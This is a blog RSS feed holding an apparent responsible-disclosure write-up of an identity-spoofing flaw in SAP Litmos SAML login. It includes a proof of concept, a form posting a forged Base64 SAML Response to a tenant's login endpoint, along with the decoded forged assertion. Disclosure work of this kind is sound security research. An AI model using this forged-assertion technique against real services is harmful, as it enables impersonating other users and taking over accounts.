<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <title>lescinskas.lt</title>
        <description>Paulius Leščinskas weblog</description>
        <link>https://lescinskas.lt/</link>
        <atom:link href="https://lescinskas.lt/feed.xml" rel="self" type="application/rss+xml" />
        <pubDate>Tue, 03 Dec 2024 05:10:14 -0600</pubDate>
        <lastBuildDate>Tue, 03 Dec 2024 05:10:14 -0600</lastBuildDate>
        <generator>Jekyll v4.2.2</generator>
        
        <item>
            <title>SAP Litmos broken authentication vulnerability disclosure</title>
            <description>&lt;h2 id=&quot;synopsis&quot;&gt;Synopsis&lt;/h2&gt;

&lt;p&gt;&lt;a href=&quot;https://www.litmos.com/&quot;&gt;SAP Litmos&lt;/a&gt; is the online Learning Management System owned and operated by &lt;a href=&quot;https://www.sap.com&quot;&gt;SAP&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;During the authentication integration with Litmos using SAML protocol, me and my colleagues identified multiple security vulnerabilities.
The most critical one is the identity spoofing, allowing attacker to impersonate to ANY user of the Litmos tenant having &lt;a href=&quot;https://support.litmos.com/hc/en-us/articles/115000184374-SAML-2-0-Single-Sign-On-SSO-with-any-Identity-Provider-IdP-&quot;&gt;SAML-based authentication&lt;/a&gt; enabled.&lt;/p&gt;

&lt;p&gt;These vulnerabilities have been reported to SAP Product Security Reponse team, and are now being disclosed publicly in this blogpost, in alignment with SAP and in compliance with the &lt;a href=&quot;https://wiki.scn.sap.com/wiki/display/PSR/Disclosure+Guidelines+for+SAP+Security+Advisories&quot;&gt;SAP Responsible Disclosure Policy&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;vulnerabilities&quot;&gt;Vulnerabilities&lt;/h2&gt;

&lt;p&gt;SAP Litmos supports the SAML Identity Provider-initiated authentication flow only, which is treated as less secure than SP-initiated flow.
The weak security baseline, lack of compliance with SAML implementation guides and best practices results in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Broken Authentication&lt;/code&gt; exploitation due to the vulnerabilities listed below.&lt;/p&gt;

&lt;h3 id=&quot;identity-spoofing-due-to-absent-verification-of-the-saml-response-signature&quot;&gt;Identity spoofing due to absent verification of the SAML Response signature&lt;/h3&gt;

&lt;p&gt;SAML Identity provider-initiated flow is done via single &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;HTTP POST&lt;/code&gt; request initiated by the end-user in the web browser. There is no state verification mechanism in the Service Provider (SAP Litmos in this case), therefore the authenticity of the request should be done by verifying the request signature.&lt;/p&gt;

&lt;p&gt;However, the SAML metadata configuration content does not contain the public key that could be used to verify the SAML Response Request. Request signed with ANY private key is treated as legitimate. This allows attacker to forge the SAML Response object, sign with ANY private key and successfully authenticate as ANY user within the Litmos tenant having SAML integration enabled.&lt;/p&gt;

&lt;p&gt;The SAML metadata configuration content example:&lt;/p&gt;

&lt;div class=&quot;language-xml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;md:EntityDescriptor&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;xmlns:md=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;urn:oasis:names:tc:SAML:2.0:metadata&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;entityID=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;https://example.com&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;md:IDPSSODescriptor&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;WantAuthnRequestsSigned=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;false&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;protocolSupportEnumeration=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;urn:oasis:names:tc:SAML:2.0:protocol&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;nt&quot;&gt;&amp;lt;md:NameIDFormat&amp;gt;&lt;/span&gt;
      urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified
        &lt;span class=&quot;nt&quot;&gt;&amp;lt;/md:NameIDFormat&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;nt&quot;&gt;&amp;lt;md:NameIDFormat&amp;gt;&lt;/span&gt;
      urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress
        &lt;span class=&quot;nt&quot;&gt;&amp;lt;/md:NameIDFormat&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;nt&quot;&gt;&amp;lt;md:SingleSignOnService&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;Binding=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;Location=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;https://example.com&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;nt&quot;&gt;&amp;lt;md:SingleSignOnService&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;Binding=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;urn:oasis:names:tc:SAML:2.0:bindings:HTTP-Redirect&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;Location=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;https://example.com&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;/md:IDPSSODescriptor&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/md:EntityDescriptor&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Pinning the public key to the SAML metadata configuration does not take effect - the public key is ignored.&lt;/p&gt;

&lt;p&gt;Such SAML Response Request can be successfully used to spoof the identity and break the authentication (changing &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;TENANT-NAME&lt;/code&gt; to the respective tenant’s subdomain name is needed beforehand):&lt;/p&gt;

&lt;div class=&quot;language-html highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;!doctype html5&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;html&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;head&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/head&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;body&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;form&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;method=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;post&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;action=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;https://TENANT-NAME.litmos.com/integration/splogin&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;input&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;type=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;hidden&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;name=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;SAMLResponse&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;value=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;PFJlc3BvbnNlIHhtbG5zOnhzZD0iaHR0cDovL3d3dy53My5vcmcvMjAwMS9YTUxTY2hlbWEiCnhtbG5zOnhzaT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS9YTUxTY2hlbWEtaW5zdGFuY2UiIERlc3RpbmF0aW9uPSJodHRwczovL1RFTkFOVC1OQU1FLmxpdG1vcy5jb20vaW50ZWdyYXRpb24vc3Bsb2dpbiIgSUQ9Il80MzFiNWUxNy1kMzZhLTQxNTYtOGU2My1jNjI5MTg3MTljNjQiIElzc3VlSW5zdGFudD0iMjAxOS0wOS0xOFQwODo0ODo0MC4wODQ4NjA2WiIgVmVyc2lvbj0iMi4wIgp4bWxucz0idXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOnByb3RvY29sIj4KPElzc3VlciB4bWxucz0idXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOmFzc2VydGlvbiI+aHR0cHM6Ly9leGFtcGxlLmNvbTwvSXNzdWVyPgo8U2lnbmF0dXJlIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwLzA5L3htbGRzaWcjIj4KICAgIDxTaWduZWRJbmZvPgogICAgICAgIDxDYW5vbmljYWxpemF0aW9uTWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvVFIvMjAwMS9SRUMteG1sLWMxNG4tMjAwMTAzMTUiIC8+CiAgICAgICAgPFNpZ25hdHVyZU1ldGhvZCBBbGdvcml0aG09Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvMDkveG1sZHNpZyNyc2Etc2hhMSIgLz4KICAgICAgICA8UmVmZXJlbmNlIFVSST0iI180MzFiNWUxNy1kMzZhLTQxNTYtOGU2My1jNjI5MTg3MTljNjQiPgogICAgICAgICAgICA8VHJhbnNmb3Jtcz4KICAgICAgICAgICAgICAgIDxUcmFuc2Zvcm0gQWxnb3JpdGhtPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwLzA5L3htbGRzaWcjZW52ZWxvcGVkLXNpZ25hdHVyZSIgLz4KICAgICAgICAgICAgICAgIDxUcmFuc2Zvcm0gQWxnb3JpdGhtPSJodHRwOi8vd3d3LnczLm9yZy9UUi8yMDAxL1JFQy14bWwtYzE0bi0yMDAxMDMxNSIgLz4KICAgICAgICAgICAgPC9UcmFuc2Zvcm1zPgogICAgICAgICAgICA8RGlnZXN0TWV0aG9kIEFsZ29yaXRobT0iaHR0cDovL3d3dy53My5vcmcvMjAwMC8wOS94bWxkc2lnI3NoYTEiIC8+CiAgICAgICAgICAgIDxEaWdlc3RWYWx1ZT5iTjA5eml3SmY5N2pYR0RNY2lJWUo0MGRENzQ9PC9EaWdlc3RWYWx1ZT4KICAgICAgICA8L1JlZmVyZW5jZT4KICAgIDwvU2lnbmVkSW5mbz4KICAgIDxTaWduYXR1cmVWYWx1ZT5TSUdOQVRVUkUtU0lHTkVELVVTSU5HLUFOWS1QUklWQVRFLUtFWTwvU2lnbmF0dXJlVmFsdWU+CiAgICA8S2V5SW5mbz4KICAgICAgICA8WDUwOURhdGE+CiAgICAgICAgICAgIDxYNTA5Q2VydGlmaWNhdGU+PC9YNTA5Q2VydGlmaWNhdGU+CiAgICAgICAgPC9YNTA5RGF0YT4KICAgIDwvS2V5SW5mbz4KPC9TaWduYXR1cmU+CjxTdGF0dXM+CiAgICA8U3RhdHVzQ29kZSBWYWx1ZT0idXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOnN0YXR1czpTdWNjZXNzIiAvPgo8L1N0YXR1cz4KPEFzc2VydGlvbiBJRD0iXzUwNzg2ZDJhLTEzYTEtNDZkMS1iZWVlLWRiNTBlOWZjY2RiZiIgSXNzdWVJbnN0YW50PSIyMDE5LTA5LTE4VDA4OjQ4OjQwLjA4NDg2MDZaIiBWZXJzaW9uPSIyLjAiCiAgICB4bWxucz0idXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOmFzc2VydGlvbiI+CiAgICA8SXNzdWVyPmh0dHBzOi8vZXhhbXBsZS5jb208L0lzc3Vlcj4KICAgIDxTdWJqZWN0PgogICAgICAgIDxOYW1lSUQgTmFtZVF1YWxpZmllcj0iaHR0cHM6Ly9leGFtcGxlLmNvbSI+U1BPT0ZFRC1VU0VSLUlERU5USUZJRVI8L05hbWVJRD4KICAgICAgICA8U3ViamVjdENvbmZpcm1hdGlvbiBNZXRob2Q9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDpjbTpiZWFyZXIiPgogICAgICAgICAgICA8U3ViamVjdENvbmZpcm1hdGlvbkRhdGEgTm90T25PckFmdGVyPSIyMDE5LTA5LTE4VDA4OjUzOjQwLjA4NDg2MDZaIiBSZWNpcGllbnQ9Imh0dHBzOi8vVEVOQU5ULU5BTUUubGl0bW9zLmNvbS9pbnRlZ3JhdGlvbi9zcGxvZ2luIiAvPgogICAgICAgIDwvU3ViamVjdENvbmZpcm1hdGlvbj4KICAgIDwvU3ViamVjdD4KICAgIDxDb25kaXRpb25zIE5vdE9uT3JBZnRlcj0iMjAxOS0wOS0xOFQwODo1Mzo0MC4wODQ4NjA2WiIgTm90QmVmb3JlPSIyMDE5LTA5LTE4VDA4OjQ4OjQwLjA4NDg2MDZaIj4KICAgICAgICA8QXVkaWVuY2VSZXN0cmljdGlvbj4KICAgICAgICAgICAgPEF1ZGllbmNlPmh0dHBzOi8vVEVOQU5ULU5BTUUubGl0bW9zLmNvbS9pbnRlZ3JhdGlvbi9zcGxvZ2luPC9BdWRpZW5jZT4KICAgICAgICA8L0F1ZGllbmNlUmVzdHJpY3Rpb24+CiAgICA8L0NvbmRpdGlvbnM+CiAgICA8QXV0aG5TdGF0ZW1lbnQgQXV0aG5JbnN0YW50PSIyMDE5LTA5LTE4VDA4OjQ4OjQwLjA4NDg2MDZaIj4KICAgICAgICA8QXV0aG5Db250ZXh0PgogICAgICAgICAgICA8QXV0aG5Db250ZXh0Q2xhc3NSZWY+QXV0aG5Db250ZXh0Q2xhc3NSZWY8L0F1dGhuQ29udGV4dENsYXNzUmVmPgogICAgICAgIDwvQXV0aG5Db250ZXh0PgogICAgPC9BdXRoblN0YXRlbWVudD4KICAgIDxBdHRyaWJ1dGVTdGF0ZW1lbnQ+CiAgICAgICAgPEF0dHJpYnV0ZSBOYW1lPSJGaXJzdE5hbWUiIE5hbWVGb3JtYXQ9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDphdHRybmFtZS1mb3JtYXQ6YmFzaWMiPgogICAgICAgICAgICA8QXR0cmlidXRlVmFsdWU+U3Bvb2ZlZCBuYW1lPC9BdHRyaWJ1dGVWYWx1ZT4KICAgICAgICA8L0F0dHJpYnV0ZT4KICAgICAgICA8QXR0cmlidXRlIE5hbWU9Ikxhc3ROYW1lIiBOYW1lRm9ybWF0PSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6YXR0cm5hbWUtZm9ybWF0OmJhc2ljIj4KICAgICAgICAgICAgPEF0dHJpYnV0ZVZhbHVlPlNwb29mZWQgc3VybmFtZTwvQXR0cmlidXRlVmFsdWU+CiAgICAgICAgPC9BdHRyaWJ1dGU+CiAgICAgICAgPEF0dHJpYnV0ZSBOYW1lPSJFbWFpbCIgTmFtZUZvcm1hdD0idXJuOm9hc2lzOm5hbWVzOnRjOlNBTUw6Mi4wOmF0dHJuYW1lLWZvcm1hdDpiYXNpYyI+CiAgICAgICAgICAgIDxBdHRyaWJ1dGVWYWx1ZT5zcG9vZmVkLWVtYWlsQGV4YW1wbGUuY29tPC9BdHRyaWJ1dGVWYWx1ZT4KICAgICAgICA8L0F0dHJpYnV0ZT4KICAgIDwvQXR0cmlidXRlU3RhdGVtZW50Pgo8L0Fzc2VydGlvbj4KPC9SZXNwb25zZT4=&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;input&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;type=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;submit&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;value=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Submit&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
  &lt;span class=&quot;nt&quot;&gt;&amp;lt;/form&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/body&amp;gt;&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/html&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;where the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SAMLResponse&lt;/code&gt; is Base64-encoded value of such XML document:&lt;/p&gt;

&lt;div class=&quot;language-xml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;Response&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;xmlns:xsd=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;http://www.w3.org/2001/XMLSchema&quot;&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;xmlns:xsi=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;http://www.w3.org/2001/XMLSchema-instance&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;Destination=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;https://TENANT-NAME.litmos.com/integration/splogin&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;ID=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;_431b5e17-d36a-4156-8e63-c62918719c64&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;IssueInstant=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;2019-09-18T08:48:40.0848606Z&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;Version=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;2.0&quot;&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;xmlns=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;urn:oasis:names:tc:SAML:2.0:protocol&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;Issuer&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;xmlns=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;urn:oasis:names:tc:SAML:2.0:assertion&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;https://example.com&lt;span class=&quot;nt&quot;&gt;&amp;lt;/Issuer&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;Signature&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;xmlns=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;http://www.w3.org/2000/09/xmldsig#&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;nt&quot;&gt;&amp;lt;SignedInfo&amp;gt;&lt;/span&gt;
            &lt;span class=&quot;nt&quot;&gt;&amp;lt;CanonicalizationMethod&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;Algorithm=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;http://www.w3.org/TR/2001/REC-xml-c14n-20010315&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
            &lt;span class=&quot;nt&quot;&gt;&amp;lt;SignatureMethod&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;Algorithm=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;http://www.w3.org/2000/09/xmldsig#rsa-sha1&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
            &lt;span class=&quot;nt&quot;&gt;&amp;lt;Reference&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;URI=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;#_431b5e17-d36a-4156-8e63-c62918719c64&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
                &lt;span class=&quot;nt&quot;&gt;&amp;lt;Transforms&amp;gt;&lt;/span&gt;
                    &lt;span class=&quot;nt&quot;&gt;&amp;lt;Transform&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;Algorithm=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;http://www.w3.org/2000/09/xmldsig#enveloped-signature&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
                    &lt;span class=&quot;nt&quot;&gt;&amp;lt;Transform&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;Algorithm=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;http://www.w3.org/TR/2001/REC-xml-c14n-20010315&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
                &lt;span class=&quot;nt&quot;&gt;&amp;lt;/Transforms&amp;gt;&lt;/span&gt;
                &lt;span class=&quot;nt&quot;&gt;&amp;lt;DigestMethod&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;Algorithm=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;http://www.w3.org/2000/09/xmldsig#sha1&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
                &lt;span class=&quot;nt&quot;&gt;&amp;lt;DigestValue&amp;gt;&lt;/span&gt;bN09ziwJf97jXGDMciIYJ40dD74=&lt;span class=&quot;nt&quot;&gt;&amp;lt;/DigestValue&amp;gt;&lt;/span&gt;
            &lt;span class=&quot;nt&quot;&gt;&amp;lt;/Reference&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;nt&quot;&gt;&amp;lt;/SignedInfo&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;nt&quot;&gt;&amp;lt;SignatureValue&amp;gt;&lt;/span&gt;SIGNATURE-SIGNED-USING-ANY-PRIVATE-KEY&lt;span class=&quot;nt&quot;&gt;&amp;lt;/SignatureValue&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;nt&quot;&gt;&amp;lt;KeyInfo&amp;gt;&lt;/span&gt;
            &lt;span class=&quot;nt&quot;&gt;&amp;lt;X509Data&amp;gt;&lt;/span&gt;
                &lt;span class=&quot;nt&quot;&gt;&amp;lt;X509Certificate&amp;gt;&amp;lt;/X509Certificate&amp;gt;&lt;/span&gt;
            &lt;span class=&quot;nt&quot;&gt;&amp;lt;/X509Data&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;nt&quot;&gt;&amp;lt;/KeyInfo&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;/Signature&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;Status&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;nt&quot;&gt;&amp;lt;StatusCode&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;Value=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;urn:oasis:names:tc:SAML:2.0:status:Success&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;/Status&amp;gt;&lt;/span&gt;
    &lt;span class=&quot;nt&quot;&gt;&amp;lt;Assertion&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;ID=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;_50786d2a-13a1-46d1-beee-db50e9fccdbf&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;IssueInstant=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;2019-09-18T08:48:40.0848606Z&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;Version=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;2.0&quot;&lt;/span&gt;
        &lt;span class=&quot;na&quot;&gt;xmlns=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;urn:oasis:names:tc:SAML:2.0:assertion&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;nt&quot;&gt;&amp;lt;Issuer&amp;gt;&lt;/span&gt;https://example.com&lt;span class=&quot;nt&quot;&gt;&amp;lt;/Issuer&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;nt&quot;&gt;&amp;lt;Subject&amp;gt;&lt;/span&gt;
            &lt;span class=&quot;nt&quot;&gt;&amp;lt;NameID&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;NameQualifier=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;https://example.com&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;SPOOFED-USER-IDENTIFIER&lt;span class=&quot;nt&quot;&gt;&amp;lt;/NameID&amp;gt;&lt;/span&gt;
            &lt;span class=&quot;nt&quot;&gt;&amp;lt;SubjectConfirmation&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;Method=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;urn:oasis:names:tc:SAML:2.0:cm:bearer&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
                &lt;span class=&quot;nt&quot;&gt;&amp;lt;SubjectConfirmationData&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;NotOnOrAfter=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;2019-09-18T08:53:40.0848606Z&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;Recipient=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;https://TENANT-NAME.litmos.com/integration/splogin&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;/&amp;gt;&lt;/span&gt;
            &lt;span class=&quot;nt&quot;&gt;&amp;lt;/SubjectConfirmation&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;nt&quot;&gt;&amp;lt;/Subject&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;nt&quot;&gt;&amp;lt;Conditions&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;NotOnOrAfter=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;2019-09-18T08:53:40.0848606Z&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;NotBefore=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;2019-09-18T08:48:40.0848606Z&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
            &lt;span class=&quot;nt&quot;&gt;&amp;lt;AudienceRestriction&amp;gt;&lt;/span&gt;
                &lt;span class=&quot;nt&quot;&gt;&amp;lt;Audience&amp;gt;&lt;/span&gt;https://TENANT-NAME.litmos.com/integration/splogin&lt;span class=&quot;nt&quot;&gt;&amp;lt;/Audience&amp;gt;&lt;/span&gt;
            &lt;span class=&quot;nt&quot;&gt;&amp;lt;/AudienceRestriction&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;nt&quot;&gt;&amp;lt;/Conditions&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;nt&quot;&gt;&amp;lt;AuthnStatement&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;AuthnInstant=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;2019-09-18T08:48:40.0848606Z&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
            &lt;span class=&quot;nt&quot;&gt;&amp;lt;AuthnContext&amp;gt;&lt;/span&gt;
                &lt;span class=&quot;nt&quot;&gt;&amp;lt;AuthnContextClassRef&amp;gt;&lt;/span&gt;AuthnContextClassRef&lt;span class=&quot;nt&quot;&gt;&amp;lt;/AuthnContextClassRef&amp;gt;&lt;/span&gt;
            &lt;span class=&quot;nt&quot;&gt;&amp;lt;/AuthnContext&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;nt&quot;&gt;&amp;lt;/AuthnStatement&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;nt&quot;&gt;&amp;lt;AttributeStatement&amp;gt;&lt;/span&gt;
            &lt;span class=&quot;nt&quot;&gt;&amp;lt;Attribute&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;Name=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;FirstName&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;NameFormat=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;urn:oasis:names:tc:SAML:2.0:attrname-format:basic&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
                &lt;span class=&quot;nt&quot;&gt;&amp;lt;AttributeValue&amp;gt;&lt;/span&gt;Spoofed name&lt;span class=&quot;nt&quot;&gt;&amp;lt;/AttributeValue&amp;gt;&lt;/span&gt;
            &lt;span class=&quot;nt&quot;&gt;&amp;lt;/Attribute&amp;gt;&lt;/span&gt;
